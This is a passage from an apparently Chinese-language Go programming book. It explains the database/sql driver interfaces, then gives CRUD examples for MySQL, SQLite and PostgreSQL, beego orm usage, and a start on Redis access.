第三方驅動都會定義這個函式，它會解析 name 引數來取得相關資料庫的連線資訊，解析完成後，它將使用此資訊來初始化一個 Conn 並返回它。

## driver.Conn

Conn 是一個數據函式庫連線的介面定義，他定義了一系列方法，這個 Conn 只能應用在一個 goroutine 裡面，不能使用在多個 goroutine 裡面，詳情請參考上面的說明。

```
type Conn interface {
    Prepare(query string) (Stmt, error)
    Close() error
    Begin() (Tx, error)
}
```

Prepare 函式返回與當前連線相關的執行 Sql 語句的準備狀態，可以進行查詢、刪除等操作。

Close 函式關閉當前的連線，執行釋放連線擁有的資源等清理工作。因為驅動實現了 database/sql 裡面建議的 conn pool，所以你不用再去實現快取 conn 之類別的，這樣會容易引起問題。

Begin 函式返回一個代表事務處理的 Tx，透過它你可以進行查詢，更新等操作，或者對事務進行回滾、遞交。

## driver.Stmt

Stmt 是一種準備好的狀態，和 Conn 相關聯，而且只能應用於一個 goroutine 中，不能應用於多個 goroutine。

```
type Stmt interface {  
    Close() error  
    NumInput() int  
    Exec(args []Value) (Result, error)  
    Query(args []Value) (Rows, error)  
}
```

Close 函式關閉當前的連結狀態，但是如果當前正在執行 query，query 還是有效返回 rows 資料。

NumInput 函式返回當前預留引數的個數，當返回  $\geq 0$  時資料庫驅動就會智慧檢查呼叫者的引數。當資料庫驅動套件不知道預留引數的時候，返回 -1。

Exec 函式執行 Prepare 準備好的 sql，傳入引數執行 update/insert 等操作，返回 Result 資料

Query 函式執行 Prepare 準備好的 sql，傳入需要的引數執行 select 操作，返回 Rows 結果集

## driver.Tx

事務處理一般就兩個過程，遞交或者回滾。資料庫驅動裡面也只需要實現這兩個函式就可以

```
type Tx interface {  
    Commit() error  
    Rollback() error  
}
```

這兩個函式一個用來遞交一個事務，一個用來回滾事務。

## driver.Execer

這是一個 Conn 可選擇實現的介面

```
type Execer interface {  
    Exec(query string, args []Value) (Result, error)  
}
```

如果這個介面沒有定義，那麼在呼叫 DB.Exec，就會首先呼叫 Prepare 返回 Stmt，然後執行 Stmt 的 Exec，然後關閉 Stmt。

## driver.Result

這個是執行 Update/Insert 等操作返回的結果介面定義

```
type Result interface {  
    LastInsertId() (int64, error)  
    RowsAffected() (int64, error)  
}
```

LastInsertId 函式返回由資料庫執行插入操作得到的自增 ID 號。

RowsAffected 函式返回 query 操作影響的資料條目數。

## driver.Rows

**Rows** 是執行查詢返回的結果集介面定義

```
type Rows interface {  
    Columns() []string  
    Close() error  
    Next(dest []Value) error  
}
```

**Columns** 函式返回查詢資料庫表的欄位資訊，這個返回的 slice 和 sql 查詢的欄位一一對應，而不是返回整個表的所有欄位。

**Close** 函式用來關閉 Rows 迭代器。

**Next** 函式用來返回下一條資料，把資料賦值給 **dest**。**dest** 裡面的元素必須是 **driver.Value** 的值除了 **string**，返回的資料裡面所有的 **string** 都必須要轉換成 **[]byte**。如果最後沒資料了，**Next** 函式最後返回 **io.EOF**。

## driver.RowsAffected

**RowsAffected** 其實就是一個 **int64** 的別名，但是他實現了 **Result** 介面，用來底層實現 **Result** 的表示方式

```
type RowsAffected int64  
  
func (RowsAffected) LastInsertId() (int64, error)  
  
func (v RowsAffected) RowsAffected() (int64, error)
```

## driver.Value

**Value** 其實就是一個空介面，他可以容納任何的資料

```
type Value interface{}
```

drive 的 Value 是驅動必須能夠操作的 Value，Value 要麼是 nil，要麼是下面的任意一種

```
int64
float64
bool
[]byte
string    [*]除了 Rows.Next 返回的不能是 string.
time.Time
```

## driver.ValueConverter

ValueConverter 介面定義瞭如何把一個普通的值轉化成 driver.Value 的介面

```
type ValueConverter interface {
    ConvertValue(v interface{}) (Value, error)
}
```

在開發的資料庫驅動套件裡面實現這個介面的函式在很多地方會使用到，這個 ValueConverter 有很多好處：

- 轉化 driver.value 到資料庫表相應的欄位，例如 int64 的資料如何轉化成資料庫表 uint16 欄位
- 把資料庫查詢結果轉化成 driver.Value 值
- 在 scan 函式裡面如何把 driver.Value 值轉化成使用者定義的值

## driver.Valuer

Valuer 介面定義了返回一個 driver.Value 的方式

```
type Valuer interface {
    Value() (Value, error)
}
```



很多型別都實現了這個 `Value` 方法，用來自身與 `driver.Value` 的轉化。

透過上面的講解，你應該對於驅動的開發有了一個基本的瞭解，一個驅動只要實現了這些介面就能完成增刪查改等基本操作了，剩下的就是與相應的資料庫進行資料互動等細節問題了，在此不再贅述。

## database/sql

`database/sql` 在 `database/sql/driver` 提供的介面基礎上定義了一些更高階的方法，用以簡化資料庫操作，同時內部還建議性地實現一個 `conn pool`。

```
type DB struct {
    driver      driver.Driver
    dsn         string
    mu          sync.Mutex // protects freeConn and closed
    freeConn    []driver.Conn
    closed      bool
}
```

我們可以看到 `Open` 函式返回的是 `DB` 物件，裡面有一個 `freeConn`，它就是那個簡易的連線池。它的實現相當簡單或者說簡陋，就是當執行 `db.prepare -> db.prepareDC` 的時候會 `defer dc.releaseConn`，然後呼叫 `db.putConn`，也就是把這個連線放入連線池，每次呼叫 `db.conn` 的時候會先判斷 `freeConn` 的長度是否大於 0，大於 0 說明有可以複用的 `conn`，直接拿出來用就是了，如果不大於 0，則建立一個 `conn`，然後再返回之。

## links

- [目錄](#)
- 上一節: [訪問資料庫](#)
- 下一節: [使用 MySQL 資料庫](#)

## 5.2 使用 MySQL 資料庫

目前 Internet 上流行的網站構架方式是 LAMP，其中的 M 即 MySQL，作為資料庫，MySQL 以免費、開源、使用方便為優勢成為了很多 Web 開發的後端資料庫儲存引擎。

### MySQL 驅動

Go 中支援 MySQL 的驅動目前比較多，有如下幾種，有些是支援 database/sql 標準，而有些是採用了自己的實現介面，常用的有如下幾種：

- <https://github.com/go-sql-driver/mysql> 支援 database/sql，全部採用 go 寫。
- <https://github.com/ziutek/mymysql> 支援 database/sql，也支援自訂的介面，全部採用 go 寫。
- <https://github.com/Philio/GoMySQL> 不支援 database/sql，自訂介面，全部採用 go 寫。

接下來的例子我主要以第一個驅動為例(我目前專案中也是採用它來驅動)，也推薦大家採用它，主要理由：

- 這個驅動比較新，維護的比較好
- 完全支援 database/sql 介面
- 支援 keepalive，保持長連線，雖然 [星星](#) fork 的 mymysql 也支援 keepalive，但不是執行緒安全的，這個從底層就支援了 keepalive。

### 範例程式碼

接下來的幾個小節裡面我們都將採用同一個資料庫表結構：資料庫 test，使用者表 userinfo，關聯使用者資訊表 userdetail。

```
CREATE TABLE `userinfo` (  
    `uid` INT(10) NOT NULL AUTO_INCREMENT,  
    `username` VARCHAR(64) NULL DEFAULT NULL,  
    `department` VARCHAR(64) NULL DEFAULT NULL,  
    `created` DATE NULL DEFAULT NULL,  
    PRIMARY KEY (`uid`)  
);  
  
CREATE TABLE `userdetail` (  
    `uid` INT(10) NOT NULL DEFAULT '0',  
    `intro` TEXT NULL,  
    `profile` TEXT NULL,  
    PRIMARY KEY (`uid`)  
)
```

如下範例將示範如何使用 `database/sql` 介面對資料庫表進行增刪改查操作

```
package main  
  
import (  
    "database/sql"  
    "fmt"  
    //"time"  
  
    _ "github.com/go-sql-driver/mysql"  
)  
  
func main() {  
    db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8")  
    checkErr(err)  
  
    //插入資料  
    stmt, err := db.Prepare("INSERT userinfo SET username=?,department=?,created=?")  
    checkErr(err)
```

```
res, err := stmt.Exec("astaxie", "研發部門", "2012-12-09")
checkErr(err)

id, err := res.LastInsertId()
checkErr(err)

fmt.Println(id)
//更新資料
stmt, err = db.Prepare("update userinfo set username=? where
uid=?")
checkErr(err)

res, err = stmt.Exec("astaxieupdate", id)
checkErr(err)

affect, err := res.RowsAffected()
checkErr(err)

fmt.Println(affect)

//查詢資料
rows, err := db.Query("SELECT * FROM userinfo")
checkErr(err)

for rows.Next() {
    var uid int
    var username string
    var department string
    var created string
    err = rows.Scan(&uid, &username, &department, &created)
    checkErr(err)
    fmt.Println(uid)
    fmt.Println(username)
    fmt.Println(department)
    fmt.Println(created)
}

//刪除資料
stmt, err = db.Prepare("delete from userinfo where uid=?")
checkErr(err)
```

```
    res, err = stmt.Exec(id)
    checkErr(err)

    affect, err = res.RowsAffected()
    checkErr(err)

    fmt.Println(affect)

    db.Close()

}

func checkErr(err error) {
    if err != nil {
        panic(err)
    }
}
```

透過上面的程式碼我們可以看出，Go 操作 Mysql 資料庫是很方便的。

關鍵的幾個函式我解釋一下：

`sql.Open()`函式用來開啓一個註冊過的資料庫驅動，`go-sql-driver` 中註冊了 `mysql` 這個資料庫驅動，第二個引數是 DSN(Data Source Name)，它是 `go-sql-driver` 定義的一些資料庫連結和配置資訊。它支援如下格式：

```
user@unix(/path/to/socket)/dbname?charset=utf8
user:password@tcp(localhost:5555)/dbname?charset=utf8
user:password@/dbname
user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname
```

`db.Prepare()`函式用來返回準備要執行的 `sql` 操作，然後返回準備完畢的執行狀態。

`db.Query()`函式用來直接執行 `Sql` 返回 `Rows` 結果。

`stmt.Exec()`函式用來執行 `stmt` 準備好的 `SQL` 語句

我們可以看到我們傳入的引數都是 `=?` 對應的資料，這樣做的方式可以一定程度上防止 SQL 注入。

## links

- [目錄](#)
- 上一節: [database/sql 介面](#)
- 下一節: [使用 SQLite 資料庫](#)

## 5.3 使用 SQLite 資料庫

SQLite 是一個開源的嵌入式關係資料庫，實現自套件容、零配置、支援事務的 SQL 資料庫引擎。其特點是高度便攜、使用方便、結構緊湊、高效、可靠。與其他資料庫管理系統不同，SQLite 的安裝和執行非常簡單，在大多數情況下，只要確保 SQLite 的二進位制檔案存在即可開始建立、連線和使用資料庫。如果您正在尋找一個嵌入式資料庫專案或解決方案，SQLite 是絕對值得考慮。SQLite 可以說是開源的 Access。

### 驅動

Go 支援 sqlite 的驅動也比較多，但是好多都是不支援 database/sql 介面的

- <https://github.com/mattn/go-sqlite3> 支援 database/sql 介面，基於 cgo(關於 cgo 的知識請參看官方文件或者本書後面的章節)寫的
- <https://github.com/feyeleleanor/gosqlite3> 不支援 database/sql 介面，基於 cgo 寫的
- <https://github.com/phf/go-sqlite3> 不支援 database/sql 介面，基於 cgo 寫的

目前支援 database/sql 的 SQLite 資料庫驅動只有第一個，我目前也是採用它來開發專案的。採用標準介面有利於以後出現更好的驅動的時候做遷移。

### 例項程式碼

範例的資料庫表結構如下所示，相應的建表 SQL：

```
CREATE TABLE `userinfo` (  
    `uid` INTEGER PRIMARY KEY AUTOINCREMENT,  
    `username` VARCHAR(64) NULL,  
    `department` VARCHAR(64) NULL,  
    `created` DATE NULL  
);  
  
CREATE TABLE `userdetail` (  
    `uid` INT(10) NULL,  
    `intro` TEXT NULL,  
    `profile` TEXT NULL,  
    PRIMARY KEY (`uid`)  
);
```

看下面 Go 程式是如何操作資料庫表資料：增刪改查

```
package main  
  
import (  
    "database/sql"  
    "fmt"  
    "time"  
  
    _ "github.com/mattn/go-sqlite3"  
)  
  
func main() {  
    db, err := sql.Open("sqlite3", "./foo.db")  
    checkErr(err)  
  
    //插入資料  
    stmt, err := db.Prepare("INSERT INTO userinfo(username, department, created) values(?,?,?)")  
    checkErr(err)  
  
    res, err := stmt.Exec("astaxie", "研發部門", "2012-12-09")  
    checkErr(err)
```



```
id, err := res.LastInsertId()
checkErr(err)

fmt.Println(id)
//更新資料
stmt, err = db.Prepare("update userinfo set username=? where
uid=?")
checkErr(err)

res, err = stmt.Exec("astaxieupdate", id)
checkErr(err)

affect, err := res.RowsAffected()
checkErr(err)

fmt.Println(affect)

//查詢資料
rows, err := db.Query("SELECT * FROM userinfo")
checkErr(err)

for rows.Next() {
    var uid int
    var username string
    var department string
    var created time.Time
    err = rows.Scan(&uid, &username, &department, &created)
    checkErr(err)
    fmt.Println(uid)
    fmt.Println(username)
    fmt.Println(department)
    fmt.Println(created)
}

//刪除資料
stmt, err = db.Prepare("delete from userinfo where uid=?")
checkErr(err)

res, err = stmt.Exec(id)
```

```
        checkErr(err)

        affect, err = res.RowsAffected()
        checkErr(err)

        fmt.Println(affect)

        db.Close()
    }

    func checkErr(err error) {
        if err != nil {
            panic(err)
        }
    }
}
```

我們可以看到上面的程式碼和 MySQL 例子裡面的程式碼幾乎是一模一樣的，唯一改變的就是匯入的驅動改變了，然後呼叫 `sql.Open` 是採用了 SQLite 的方式開啓。

sqlite 管理工具：<http://sqliteadmin.orbmu2k.de/>

可以方便的新建資料庫管理。

## links

- [目錄](#)
- 上一節: [使用 MySQL 資料庫](#)
- 下一節: [使用 PostgreSQL 資料庫](#)

## 5.4 使用 PostgreSQL 資料庫

PostgreSQL 是一個自由的物件-關係資料庫伺服器(資料庫管理系統)，它在靈活的 BSD-風格許可證下發行。它提供了相對其他開放原始碼資料庫系統(比如 MySQL 和 Firebird)，和對專有系統比如 Oracle、Sybase、IBM 的 DB2 和 Microsoft SQL Server 的一種選擇。

PostgreSQL 和 MySQL 比較，它更加龐大一點，因為它是用來替代 Oracle 而設計的。所以在企業應用中採用 PostgreSQL 是一個明智的選擇。

MySQL 被 Oracle 收購之後正在逐步的封閉（自 MySQL 5.5.31 以後的所有版本將不再遵循 GPL 協議），鑑於此，將來我們也許會選擇 PostgreSQL 而不是 MySQL 作為專案的後端資料庫。

### 驅動

Go 實現的支援 PostgreSQL 的驅動也很多，因為國外很多人在開發中使用了這個資料庫。

- <https://github.com/lib/pq> 支援 database/sql 驅動，純 Go 寫的
- <https://github.com/jbarham/gopgsqldriver> 支援 database/sql 驅動，純 Go 寫的
- <https://github.com/lxn/go-pgsql> 支援 database/sql 驅動，純 Go 寫的

在下面的範例中我採用了第一個驅動，因為它目前使用的人最多，在 github 上也比較活躍。

### 例項程式碼

資料庫建表語句：

```
CREATE TABLE userinfo
(
    uid serial NOT NULL,
    username character varying(100) NOT NULL,
    department character varying(500) NOT NULL,
    Created date,
    CONSTRAINT userinfo_pkey PRIMARY KEY (uid)
)
WITH (OIDS=FALSE);

CREATE TABLE userdetail
(
    uid integer,
    intro character varying(100),
    profile character varying(100)
)
WITH(OIDS=FALSE);
```

看下面這個 Go 如何操作資料庫表資料：增刪改查

```
package main

import (
    "database/sql"
    "fmt"

    _ "github.com/lib/pq"
)

func main() {
    db, err := sql.Open("postgres", "user=astaxie password=astaxie dbname=test sslmode=disable")
    checkErr(err)

    //插入資料
    stmt, err := db.Prepare("INSERT INTO userinfo(username,department,created) VALUES($1,$2,$3) RETURNING uid")
```

```
checkErr(err)

res, err := stmt.Exec("astaxie", "研發部門", "2012-12-09")
checkErr(err)

//pg 不支援這個函式，因為他沒有類似 MySQL 的自增 ID
// id, err := res.LastInsertId()
// checkErr(err)
// fmt.Println(id)

var lastInsertId int
err = db.QueryRow("INSERT INTO userinfo(username,departname,
created) VALUES($1,$2,$3) returning uid;", "astaxie", "研發部門",
"2012-12-09").Scan(&lastInsertId)
checkErr(err)
fmt.Println("最後插入 id =", lastInsertId)

//更新資料
stmt, err = db.Prepare("update userinfo set username=$1 wher
e uid=$2")
checkErr(err)

res, err = stmt.Exec("astaxieupdate", 1)
checkErr(err)

affect, err := res.RowsAffected()
checkErr(err)

fmt.Println(affect)

//查詢資料
rows, err := db.Query("SELECT * FROM userinfo")
checkErr(err)

for rows.Next() {
    var uid int
    var username string
    var department string
    var created string
```

```
        err = rows.Scan(&uid, &username, &department, &created)
        checkErr(err)
        fmt.Println(uid)
        fmt.Println(username)
        fmt.Println(department)
        fmt.Println(created)
    }

    //刪除資料
    stmt, err = db.Prepare("delete from userinfo where uid=$1")
    checkErr(err)

    res, err = stmt.Exec(1)
    checkErr(err)

    affect, err = res.RowsAffected()
    checkErr(err)

    fmt.Println(affect)

    db.Close()
}

func checkErr(err error) {
    if err != nil {
        panic(err)
    }
}
```

從上面的程式碼我們可以看到，PostgreSQL 是透過 `$1`，`$2` 這種方式來指定要傳遞的引數，而不是 MySQL 中的 `?`，另外在 `sql.Open` 中的 `dsn` 資訊的格式也與 MySQL 的驅動中的 `dsn` 格式不一樣，所以在使用時請注意它們的差異。

還有 `pg` 不支援 `LastInsertId` 函式，因為 PostgreSQL 內部沒有實現類似 MySQL 的自增 ID 返回，其他的程式碼幾乎是一模一樣。

## links

- [目錄](#)
- [上一節: 使用 SQLite 資料庫](#)
- [下一節: 使用 Beego orm 函式庫進行 ORM 開發](#)

## 5.5 使用 Beego orm 函式庫進行 ORM 開發

beego orm 是我開發的一個 Go 進行 ORM 操作的函式庫，它採用了 Go style 方式對資料庫進行操作，實現了 struct 到資料表記錄的對映。beego orm 是一個十分輕量級的 Go ORM 框架，開發這個函式庫的本意降低複雜的 ORM 學習曲線，儘可能在 ORM 的執行效率和功能之間尋求一個平衡，beego orm 是目前開源的 Go ORM 框架中實現比較完整的一個函式庫，而且執行效率相當不錯，功能也基本能滿足需求。

beego orm 是支援 database/sql 標準介面的 ORM 函式庫，所以理論上來說，只要資料庫驅動支援 database/sql 介面就可以無縫的接入 beego orm。目前我測試過的驅動包括下面幾個：

Mysql: [github.com/go-mysql-driver/mysql](https://github.com/go-mysql-driver/mysql)

PostgreSQL: [github.com/lib/pq](https://github.com/lib/pq)

SQLite: [github.com/mattn/go-sqlite3](https://github.com/mattn/go-sqlite3)

Mysql: [github.com/ziutek/mymysql/godrv](https://github.com/ziutek/mymysql/godrv)

暫未支援資料庫：

MsSql: [github.com/denisenkomb/go-mssqldb](https://github.com/denisenkomb/go-mssqldb)

MS ADODB: [github.com/mattn/go-adodb](https://github.com/mattn/go-adodb)

Oracle: [github.com/mattn/go-oci8](https://github.com/mattn/go-oci8)

ODBC: [bitbucket.org/miquella/mgodbc](https://bitbucket.org/miquella/mgodbc)

### 安裝

beego orm 支援 go get 方式安裝，是完全按照 Go Style 的方式來實現的。

```
go get github.com/astaxie/beego
```

### 如何初始化



首先你需要 import 相應的資料庫驅動套件、database/sql 標準介面套件以及 beego orm 套件，如下所示：

```
import (  
    "database/sql"  
    "github.com/astaxie/beego/orm"  
    _ "github.com/go-sql-driver/mysql"  
)  
  
func init() {  
    // 註冊驅動  
    orm.RegisterDriver("mysql", orm.DR_MySQL)  
    // 設定預設資料庫  
    orm.RegisterDataBase("default", "mysql", "root:root@/my_db?charset=utf8", 30)  
    // 註冊定義的 model  
    orm.RegisterModel(new(User))  
  
    // 建立 table  
    orm.RunSyncdb("default", false, true)  
}
```

PostgreSQL 配置：

```
// 匯入驅動  
// _ "github.com/lib/pq"  
  
// 註冊驅動  
orm.RegisterDriver("postgres", orm.DR_Postgres)  
  
// 設定預設資料庫  
// PostgreSQL 使用者：postgres ，密碼：zxxx ， 資料庫名稱：test ， 資料庫別名：default  
orm.RegisterDataBase("default", "postgres", "user=postgres password=zxxx dbname=test host=127.0.0.1 port=5432 sslmode=disable")
```

MySQL 配置：

```
//匯入驅動
//_ "github.com/go-sql-driver/mysql"

//註冊驅動
orm.RegisterDriver("mysql", orm.DR_MySQL)

// 設定預設資料庫
//mysql 使用者：root ，密碼：zxxx ， 資料庫名稱：test ， 資料庫別名：default
orm.RegisterDataBase("default", "mysql", "root:zxxx@/test?charset=utf8")
```

Sqlite 配置：

```
//匯入驅動
//_ "github.com/mattn/go-sqlite3"

//註冊驅動
orm.RegisterDriver("sqlite", orm.DR_Sqlite)

// 設定預設資料庫
//資料庫存放位置：./datas/test.db ， 資料庫別名：default
orm.RegisterDataBase("default", "sqlite3", "./datas/test.db")
```

匯入必須的 package 之後，我們需要開啓到資料庫的連結，然後建立一個 beego orm 物件（以 MySQL 為例），如下所示 beego orm:

```
func main() {
    o := orm.NewOrm()
}
```

簡單範例:

```
package main
```

```
import (
    "fmt"
    "github.com/astaxie/beego/orm"
    _ "github.com/go-sql-driver/mysql" // 匯入資料庫驅動
)

// Model Struct
type User struct {
    Id    int
    Name  string `orm:"size(100)"`
}

func init() {
    // 設定預設資料庫
    orm.RegisterDataBase("default", "mysql", "root:root@/my_db?c
harset=utf8", 30)

    // 註冊定義的 model
    orm.RegisterModel(new(User))
    //RegisterModel 也可以同時註冊多個 model
    //orm.RegisterModel(new(User), new(Profile), new(Post))

    // 建立 table
    orm.RunSyncdb("default", false, true)
}

func main() {
    o := orm.NewOrm()

    user := User{Name: "slene"}

    // 插入表
    id, err := o.Insert(&user)
    fmt.Printf("ID: %d, ERR: %v\n", id, err)

    // 更新表
    user.Name = "astaxie"
    num, err := o.Update(&user)
    fmt.Printf("NUM: %d, ERR: %v\n", num, err)
```

```
// 讀取 one
u := User{Id: user.Id}
err = o.Read(&u)
fmt.Printf("ERR: %v\n", err)

// 刪除表
num, err = o.Delete(&u)
fmt.Printf("NUM: %d, ERR: %v\n", num, err)
}
```

## SetMaxIdleConns

根據資料庫的別名，設定資料庫的最大空閒連線

```
orm.SetMaxIdleConns("default", 30)
```

## SetMaxOpenConns

根據資料庫的別名，設定資料庫的最大資料庫連線 (go >= 1.2)

```
orm.SetMaxOpenConns("default", 30)
```

目前 beego orm 支援列印除錯，你可以透過如下的程式碼實現除錯

```
orm.Debug = true
```

接下來我們的例子採用前面的資料庫表 User，現在我們建立相應的 struct

```
type Userinfo struct {
    Uid      int `PK` //如果表的主鍵不是 id，那麼需要加上 pk 註釋，顯式的說這個欄位是主鍵
    Username string
    Departname string
    Created   time.Time
}
```

```
}

type User struct {
    Uid          int `PK` //如果表的主鍵不是 id，那麼需要加上 pk 註釋
    , 顯式的說這個欄位是主鍵
    Name         string
    Profile      *Profile `orm:"rel(one)"` // OneToOne relation
    Post         []*Post `orm:"reverse(many)"` // 設定一對多的反向關係
}

type Profile struct {
    Id          int
    Age         int16
    User        *User `orm:"reverse(one)"` // 設定一對一反向關係(
    可選)
}

type Post struct {
    Id         int
    Title      string
    User       *User `orm:"rel(fk)"`
    Tags       []*Tag `orm:"rel(m2m)"` //設定一對多關係
}

type Tag struct {
    Id         int
    Name       string
    Posts      []*Post `orm:"reverse(many)"`
}

func init() {
    // 需要在 init 中註冊定義的 model
    orm.RegisterModel(new(Userinfo), new(User), new(Profile), new
    (Tag))
}
```

注意一點，beego orm 針對駝峰命名會自動幫你轉化成下劃線欄位，例如你定義了 Struct 名字為 `UserInfo`，那麼轉化成底層實現的時候是 `user_info`，欄位命名也遵循該規則。

## 插入資料

下面的程式碼示範瞭如何插入一條記錄，可以看到我們操作的是 `struct` 物件，而不是原生的 `sql` 語句，最後透過呼叫 `Insert` 介面將資料儲存到資料庫。

```
o := orm.NewOrm()
var user User
user.Name = "zxxx"
user.Departname = "zxxx"

id, err := o.Insert(&user)
if err == nil {
    fmt.Println(id)
}
```

我們看到插入之後 `user.Uid` 就是插入成功之後的自增 ID。

同時插入多個物件:`InsertMulti`

類似 `sql` 語句

```
insert into table (name, age) values("slene", 28),("astaxie", 30),("unknown", 20)
```

第一個引數 `bulk` 為並列插入的數量，第二個為物件的 `slice`

返回值為成功插入的數量

```
users := []User{
    {Name: "slene"},
    {Name: "astaxie"},
    {Name: "unknown"},
    ...
}
successNums, err := o.InsertMulti(100, users)
```

bulk 為 1 時，將會順序插入 slice 中的資料

## 更新資料

繼續上面的例子來示範更新操作，現在 user 的主鍵已經有值了，此時呼叫 Insert 介面，beego orm 內部會自動呼叫 update 以進行資料的更新而非插入操作。

```
o := orm.NewOrm()
user := User{Uid: 1}
if o.Read(&user) == nil {
    user.Name = "MyName"
    if num, err := o.Update(&user); err == nil {
        fmt.Println(num)
    }
}
```

Update 預設更新所有的欄位，可以更新指定的欄位：

```
// 只更新 Name
o.Update(&user, "Name")
// 指定多個欄位
// o.Update(&user, "Field1", "Field2", ...)
```

//Where: 用來設定條件，支援多個引數，第一個引數如果為整數，相當於呼叫了 Where("主鍵=?", 值)。

## 查詢資料

beego orm 的查詢介面比較靈活，具體使用請看下面的例子

例子 1，根據主鍵取得資料：

```
o := orm.NewOrm()
var user User

user := User{Id: 1}

err = o.Read(&user)

if err == orm.ErrNoRows {
    fmt.Println("查詢不到")
} else if err == orm.ErrMissPK {
    fmt.Println("找不到主鍵")
} else {
    fmt.Println(user.Id, user.Name)
}
```

例子 2：

```
o := orm.NewOrm()
var user User

qs := o.QueryTable(user) // 返回 QuerySeter
qs.Filter("id", 1) // WHERE id = 1
qs.Filter("profile__age", 18) // WHERE profile.age = 18
```

例子 3，WHERE IN 查詢條件：

```
qs.Filter("profile__age__in", 18, 20)
// WHERE profile.age IN (18, 20)
```



例子 4，更加複雜的條件：

```
qs.Filter("profile__age__in", 18, 20).Exclude("profile__lt", 1000)
// WHERE profile.age IN (18, 20) AND NOT profile_id < 1000
```

可以透過如下介面取得多條資料，請看範例

例子 1，根據條件 `age>17`，取得 20 位置開始的 10 條資料的資料

```
var allusers []User
qs.Filter("profile__age__gt", 17)
// WHERE profile.age > 17
```

例子 2，`limit` 預設從 10 開始，取得 10 條資料

```
qs.Limit(10, 20)
// LIMIT 10 OFFSET 20 注意跟 SQL 反過來的
```

## 刪除資料

beedb 提供了豐富的刪除資料介面，請看下面的例子

例子 1，刪除單條資料

```
o := orm.NewOrm()
if num, err := o.Delete(&User{Id: 1}); err == nil {
    fmt.Println(num)
}
```

`Delete` 操作會對反向關係進行操作，此例中 `Post` 擁有一個到 `User` 的外來鍵。刪除 `User` 的時候。如果 `on_delete` 設定為預設的級聯操作，將刪除對應的 `Post`

## 關聯查詢

有些應用卻需要用到連線查詢，所以現在 beego orm 提供了一個簡陋的實現方案：

```
type Post struct {
    Id      int      `orm:"auto"`
    Title   string   `orm:"size(100)"`
    User    *User    `orm:"rel(fk)"`
}

var posts []*Post
qs := o.QueryTable("post")
num, err := qs.Filter("User__Name", "slene").All(&posts)
```

上面程式碼中我們看到了一個 struct 關聯查詢

## Group By 和 Having

針對有些應用需要用到 group by 的功能，beego orm 也提供了一個簡陋的實現

```
qs.OrderBy("id", "-profile__age")
// ORDER BY id ASC, profile.age DESC

qs.OrderBy("-profile__age", "profile")
// ORDER BY profile.age DESC, profile_id ASC
```

上面的程式碼中出現了兩個新介面函式

GroupBy:用來指定進行 groupby 的欄位

Having:用來指定 having 執行的時候的條件

## 使用原生 sql

簡單範例:

```
o := orm.NewOrm()
var r orm.RawSeter
r = o.Raw("UPDATE user SET name = ? WHERE name = ?", "testing",
"slene")
```

複雜原生 sql 使用:

```
func (m *User) Query(name string) user []User {
    var o orm.Ormer
    var rs orm.RawSeter
    o = orm.NewOrm()
    rs = o.Raw("SELECT * FROM user "+
        "WHERE name=? AND uid>10 "+
        "ORDER BY uid DESC "+
        "LIMIT 100", name)
    //var user []User
    num, err := rs.QueryRows(&user)
    if err != nil {
        fmt.Println(err)
    } else {
        fmt.Println(num)
        //return user
    }
    return
}
```

更多說明，請到[beego.me](http://beego.me)

## 進一步的發展

目前 beego orm 已經獲得了很多來自國內外使用者的反饋，我目前也正在考慮支援更多資料庫，接下來會在更多方面進行改進

## links

- [目錄](#)
- [上一節: 使用 PostgreSQL 資料庫](#)
- [下一節: NOSQL 資料庫操作](#)

## 5.6 NOSQL 資料庫操作

NoSQL(Not Only SQL)，指的是非關係型的資料庫。隨著 Web2.0 的興起，傳統的關係資料庫在應付 Web2.0 網站，特別是超大規模和高併發的 SNS 型別的 Web2.0 純動態網站已經顯得力不從心，暴露了很多難以克服的問題，而非關係型的資料庫則由於其本身的特點得到了非常迅速的發展。

而 Go 語言作為 21 世紀的 C 語言，對 NOSQL 的支援也是很好，目前流行的 NOSQL 主要有 redis、mongoDB、Cassandra 和 Membase 等。這些資料庫都有高效能、高併發讀寫等特點，目前已經廣泛應用於各種應用中。我接下來主要講解一下 redis 和 mongoDB 的操作。

### redis

redis 是一個 key-value 儲存系統。和 Memcached 類似，它支援儲存的 value 型別相對更多，包括 string(字串)、list(連結串列)、set(集合)和 zset(有序集合)。

目前應用 redis 最廣泛的應該是新浪微博平臺，其次還有 Facebook 收購的圖片社交網站 instagram。以及其他一些有名的 [網際網路企業](#)

Go 目前支援 redis 的驅動有如下

- <https://github.com/garyburd/redigo> (推薦)
- <https://github.com/go-redis/redis>
- <https://github.com/hoisie/redis>
- <https://github.com/alphazero/Go-Redis>
- <https://github.com/simonz05/godis>

我以 redigo 驅動為例來示範如何進行資料的操作：

```
package main

import (
    "fmt"
    "os"
    "os/signal"
```

```
"syscall"
"time"

"github.com/garyburd/redigo/redis"
)

var (
    Pool *redis.Pool
)

func init() {
    redisHost := ":6379"
    Pool = newPool(redisHost)
    close()
}

func newPool(server string) *redis.Pool {

    return &redis.Pool{

        MaxIdle:      3,
        IdleTimeout:  240 * time.Second,

        Dial: func() (redis.Conn, error) {
            c, err := redis.Dial("tcp", server)
            if err != nil {
                return nil, err
            }
            return c, err
        },

        TestOnBorrow: func(c redis.Conn, t time.Time) error {
            _, err := c.Do("PING")
            return err
        }
    }
}

func close() {
    c := make(chan os.Signal, 1)
```

```
signal.Notify(c, os.Interrupt)
signal.Notify(c, syscall.SIGTERM)
signal.Notify(c, syscall.SIGKILL)
go func() {
    <-c
    Pool.Close()
    os.Exit(0)
}()
}

func Get(key string) ([]byte, error) {

    conn := Pool.Get()
    defer conn.Close()

    var data []byte
    data, err := redis.Bytes(conn.Do("GET", key))
    if err != nil {
        return data, fmt.Errorf("error get key %s: %v", key, err)
    }
    return data, err
}

func main() {
    test, err := Get("test")
    fmt.Println(test, err)
}
```

另外以前我 fork 了最後一個驅動，修復了一些 bug，目前應用在我自己的短域名服務專案中(每天 200W 左右的 PV 值)

<https://github.com/astaxie/goredis>

接下來的以我自己 fork 的這個 redis 驅動為例來示範如何進行資料的操作

```
package main

import (
    "fmt"

    "github.com/astaxie/goredis"
)

func main() {
    var client goredis.Client
    // 設定埠為 redis 預設埠
    client.Addr = "127.0.0.1:6379"

    //字串操作
    client.Set("a", []byte("hello"))
    val, _ := client.Get("a")
    fmt.Println(string(val))
    client.Del("a")

    //list 操作
    vals := []string{"a", "b", "c", "d", "e"}
    for _, v := range vals {
        client.Rpush("l", []byte(v))
    }
